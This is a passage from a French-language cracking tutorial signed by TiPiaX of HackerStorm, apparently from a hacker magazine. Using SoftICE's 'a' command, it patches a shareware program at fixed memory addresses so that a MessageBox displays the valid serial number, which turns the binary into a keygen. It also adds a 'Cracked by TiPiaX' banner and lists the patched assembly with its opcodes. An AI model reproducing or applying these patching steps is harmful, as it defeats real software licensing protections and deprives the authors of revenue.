- Ce code est obtenu par la commande "a 004BA126" de Softice. Tapez cette commande puis écrivez le code puis faites echap. Petit rappel sur les messagebox, les paramètres 2 et 3 sont le titre et le texte ici remplacés par le bon numéro de série :) (pointé par eax).
- On relance et ça marche ! youpi. Je pense que le prog sera joint au mag pour vous éviter toute cette foutue manip, mais désormais il sert de keygen, l'utiliser pas pour faire du ftp car vous pourrez pas l'enregistrer :)
- Dernier petit truc, j'ai envie de mettre un petit message: "Cracked by TiPiaX - HackerStorm", pas de problème. On place ça qq lignes après notre code, en B9550h par exemple. (soit dans la mémoire:004BA150) et on réécrit le code:
- :004BA126 6A00 push 00000000
- * Possible StringData Ref from Code Obj ->"Cracked By TiPiaX - HackerStorm!"
- :004BA128 6850A14B00 push 004BA150
- :004BA12D 50 push eax
- :004BA12E 6A00 push 00000000
- :004BA130 E8F99FA9BF call BFF5412E
- :004BA135 6A00 push 00000000
- :004BA137 E88E33ADBF call BFF8D4CA
- Le tout bien sûr grace à la commande "a" de softice qui convertit votre code asm en hexa. Voila c'est fini, si vous avez des questions, vous savez où me joindre :)
- Par TiPiaX